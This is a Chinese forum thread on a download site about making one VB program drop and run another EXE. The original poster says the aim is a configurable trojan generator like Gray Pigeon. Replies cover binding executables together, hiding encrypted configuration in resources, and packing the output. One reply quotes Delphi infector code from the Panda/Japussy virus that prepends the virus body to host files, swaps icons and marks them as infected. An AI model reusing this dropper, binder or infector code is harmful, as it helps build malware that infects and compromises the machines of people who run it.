<
您还没有登录┊登录注册 当前在线:689
源码程序系统工具编程开发图形图像网络软件应用软件多媒体类娱乐休闲驱动程序各类教程各类论文文章阅读
ASPPHPJSPASP.NETVBVF百度搜索星星练题网络文摘股市消息技能习题详细分类
当前位置:首页 \ 源码程序 \ vb代码
站内搜索


在一个VB程序中如何产生出另一个Exe文件

文件大小:20 k
运行平台:Windows9X/ME/NT/2000/XP
级别评定:
添加时间:2009-9-17 16:00:37
最后更新:2009-9-17 16:00:37
相关链接:无
所需金额:0 元
添加者:管理员

Download.1

/ ::软件简介:: / ::相关软件:: / ::软件点评:: /::上一个::/ ::下一个:: /
管理首页
 从程序中生成Exe文件 ---提问  
 从程序中生成Exe文件 
  这篇文章要讨论的是在一个VB程序中如何产生出另一个Exe文件。 
  要实现这个目的,必须符合以下几个条件: 
    第一、编写这样的程序时,具备欲生成的Exe文件 
    第二、事先知道欲生成的Exe文件大小 
  其实这两个条件可以说不是条件,但确实很重要。 
  为了叙说方便,将发行的程序称作APP-1.Exe,要生成的文件叫APP-2.Exe,以下是具体步骤: 

    第一步,准备好APP-2.Exe,这里我使用VB写了一个什么都不做程序,编译成APP-2.Exe。 
    第二步,右键单击单击APP-2.Exe,选择属性,记下文件大小。注意,应记下以字节为单位的具体数字,而不是多少k。 
    这样就具备了前边说的两个条件。 
    第三步,新建工程APP1,新建资源文件加入工程,在资源文件编辑器中添加自定义资源(CUSTOM),资源号使用默认的101。值得注意的是,每个资源号对应的资源项对资源大小的要求是有限制的,我记得时64K,因此如果APP-2.Exe的大小如果大于这个数的话,就要麻烦一些。如果是这样,我们的写另一个程序,把APP-2.Exe一个字节一个字节的读出来,每64K生成一个文件,然后再把这些文件分别写道资源文件的101、102......资源项中,代码也要作相应的修改。 

    第四步,为APP-1.Exe编写代码,使其读取资源文件的数据,生成APP-1.Exe。 

  代码如下: 

  Private Const FILESIZEOFAPP2 = 20480 '我生成的APP-2.Exe大小是20480Byte 
  Private Sub cmdOK_Click() '单击按钮cmdOK运行代码 
    Dim APP2() As Byte 'APP2是个Btye类型和数组 
    Dim Counter As Long 
    APP2 = LoadResData(101, "CUSTOM") '将自定义资源中101号资源读入数组 
    '注意,微软的帮助中对加载定义资源的说明有误,硬是资源标识为"CUSTOM"而非数字 
    If Dir(App.Path & "\APP-2.Exe") <> "" Then '第一次按cmdOK有效 
      MsgBox App.Path & "\APP-2.Exe 已经存在!"  
      Exit Sub  
    End If 
    Open App.Path & "\APP-2.exe" For Binary As #1 '以二进制方式写(生成)APP-2.Exe到APP-1.Exe所在的目录 
      For Counter = 0 To FILESIZEOFAPP2 - 1 '注意因为从0 Byte开始因此以文件大小 - 1Byte 为终  
        Put #1, , APP2(Counter) 
      Next Counter  
    Close #1 
    Shell App.Path & "\APP-2.Exe", vbNormalFocus '运行刚生成的APP-2.Exe 
    Unload Me 
  End Sub 

这些,我也是能实现的.但是,这个我感觉只能生成自己已经定义好的程序.根本不能定义出自己想的修改的信息啊 

比如做一个木马程序,人家要写邮箱,总不能人家生成的,是自己设置起来的吧...如果这样的话,这样的程序...根本说不上生成啊! 


大家谁有解决的办法 


意思就是替换字符串,但不知道怎么弄....麻烦知道的高手说一下  
 
  
 作者:883352562007-2-17 14:40 回复此发言    
 
--------------------------------------------------------------------------------
 
2 回复:从程序中生成Exe文件 ---提问  
 之前我也有在玩这个东西。 
不过就搞了一会搞腻了。。 


Const FILE_SIZE = 114688 
'这个是计算器的大小 

Private Sub Command1_Click() 

Dim bAppend As Byte, iNum As Long 
Dim i As Long, sInfo As String 

Open "C:\calc.exe" For Binary Access Read As #1’读取自身 
Seek #1, FILE_SIZE + 1'calc.exe的总大小加1 

'For iNum = 1 To FileLen(App.Path & "\" & App.EXEName & ".exe") - FILE_SIZE 
For iNum = 1 To FileLen("C:\calc.exe") - FILE_SIZE - 2 
Get #1, , bAppend 
sInfo = sInfo + Chr(bAppend) 
Next iNum 
Close #1 

Open "c:\分离出来的.exe" For Output As #2 
Print #2, sInfo 
Close #2 

End Sub 

。。。。。。。。。。。。。。 
我之前玩的是这样的一种思路,利用copy /b C:\calc.exe+ 其它小程序.exe 捆绑后的程序.exe 

然后再这样再里面分离出来。 
可惜我不知道分离后的EXE文件大小是一样的还是运行不了~~ 
(这样做法类似病毒感染后再感染的病毒中分解出来。) 
不过楼主的这个像木马一样生成出的EXE还没怎么研究过。  
 
  
 作者:hrbase2007-2-17 15:01 回复此发言    
 
--------------------------------------------------------------------------------
 
3 回复:从程序中生成Exe文件 ---提问  
 Open "C:\calc.exe" For Binary Access Read As #1 
这个C:\calc.exe其实是已经是经过copy /b C:\calc.exe+ 其它小程序.exe 捆绑后的程序.exe  
后的“捆绑后的程序.exe ”  
 
  
 作者:hrbase2007-2-17 15:03 回复此发言    
 
--------------------------------------------------------------------------------
 
4 回复:从程序中生成Exe文件 ---提问  
 这些,我也是能实现的.但是,这个我感觉只能生成自己已经定义好的程序.根本不能定义出自己想的修改的信息啊. 

这句话我也想问的....怎么才能办到像灰鸽子那样按自己的设置的生成EXE文件?  
 
  
 作者:60.176.189.*2007-2-17 16:17 回复此发言    
 
--------------------------------------------------------------------------------
 
5 回复:从程序中生成Exe文件 ---提问  
 我想做出象灰鸽子,生成木马的那些软件一样的程序.可以自己生成出来的那种.... 


XX高手知道啊? 
知道麻烦说一下啦  
 
  
 作者:883352562007-2-17 16:34 回复此发言    
 
--------------------------------------------------------------------------------
 
6 回复:从程序中生成Exe文件 ---提问  
 一般一个文件打开以后,系统就会对它进行保护,阻止应用程序改变它.但有一些动态改变是可以实现的,这要求你的程序运行在0层优先级,也就是系统级,一般应用程序是运行在优先级3上. 

对PE文件结构我还不是太懂.不知道用程序如何改变其中的代码资源,但应该这是可以做的. 

否则,想想熊猫那图标,是怎么替换掉的. 

鸽子只要将需要改变的东西,加密放在资源,这个程序做为模版来用.当用户生成客户端时,复制出来一个,以相同算法一加密,替换掉这资源,不就没问题了. 

之后你加壳什么的随便. 

关键是怎么取到的0层,恐怕不勾入系统内核是不成的.  
 
  
 作者:双色心2007-2-17 23:55 回复此发言    
 
--------------------------------------------------------------------------------
 
7 回复:从程序中生成Exe文件 ---提问  
 没有这么麻烦吧,6F 
进入ring0很简单,方法很多,只是用VB很难 
大概看了一下熊猫的delphi代码,文件流的 
关键代码: 
HeaderSize = 82432; //病毒体的大小  
IconOffset = $12EB8; //PE文件主图标的偏移量  

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同  
//查找2800000020的十六进制字符串可以找到主图标的偏移量  
  
{  
HeaderSize = 38912; //Upx压缩过病毒体的大小  
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量  

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe  
}  
IconSize = $2E8; //PE文件主图标的大小--744字节  
IconTail = IconOffset + IconSize; //PE文件主图标的尾部  
ID = $44444444; //感染标记  
…… 
//得到被感染文件的主图标(744字节),存入流  
 aIcon.ReleaseHandle;  
 aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);  
 aIcon.SaveToStream(IcoStream);  
 finally  
 aIcon.Free;  
 end;  
 SrcStream := TFileStream.Create(FileName, fmOpenRead);  
 //头文件  
 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);  
 try  
 //写入病毒体主图标之前的数据  
 CopyStream(HdrStream, 0, DstStream, 0, IconOffset);  
 //写入目前程序的主图标  
 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);  
 //写入病毒体主图标到病毒体尾部之间的数据  
 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);  
 //写入宿主程序  
 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);  
 //写入已感染的标记  
 DstStream.Seek(0, 2);  
 iID := $44444444;  
 DstStream.Write(iID, 4);  
 finally  
 HdrStream.Free;  
 end;  
 finally  
 SrcStream.Free;  
 IcoStream.Free;  
 DstStream.SaveToFile(FileName); //替换宿主文件  
 DstStream.Free;  
 end;  
except;  
end;  
end;  
 
  
 作者:后代2007-2-18 00:51 回复此发言    
 
--------------------------------------------------------------------------------
 
8 回复:从程序中生成Exe文件 ---提问  
 跑题了 
不用进入ring0 
我记得很久以前,有一个类似于鸽子的木马,把配置文件直接写到了exe文件尾部(很大胆),然后运行exe时,则先读取配置文件然后再根据文件内容运行  
 
  
 作者:后代2007-2-18 00:54 回复此发言    
 
--------------------------------------------------------------------------------
 
10 回复:从程序中生成Exe文件 ---提问  
 鸽子黑防版的配置方法。。 
没想到 
先生成一个服务端 
然后释放出来一个reshack.exe 和 resscript.ini 来把配置信息加资源里  
 

相关软件
·怎样删除execl中重复的行 在一列中出现重复数据
·EexeNet文章采集插件 v1.0 For PJBLOG
·如何用asp在服务器上执行.exe、.com或.bat文件
·cmxpbpl.exe病毒
·编译asp程序为exe程序 


1分 0
2分 0
3分 0
4分 0
5分 0
共有 0 人打分
平均得分:0


按字符查询:ABCDEFGHIJKLMNOPQRSTUVWXYZ0~9中文
下载图示: - 附汉化补丁 - 附注册 - 会员软件 - 推荐 - 最新添加
Rainight, 星旺坡 联网备案号:41092802000212 豫ICP备19032584号-1 页面执行时间: 0.11秒
业务QQ:80571569 手机:13030322310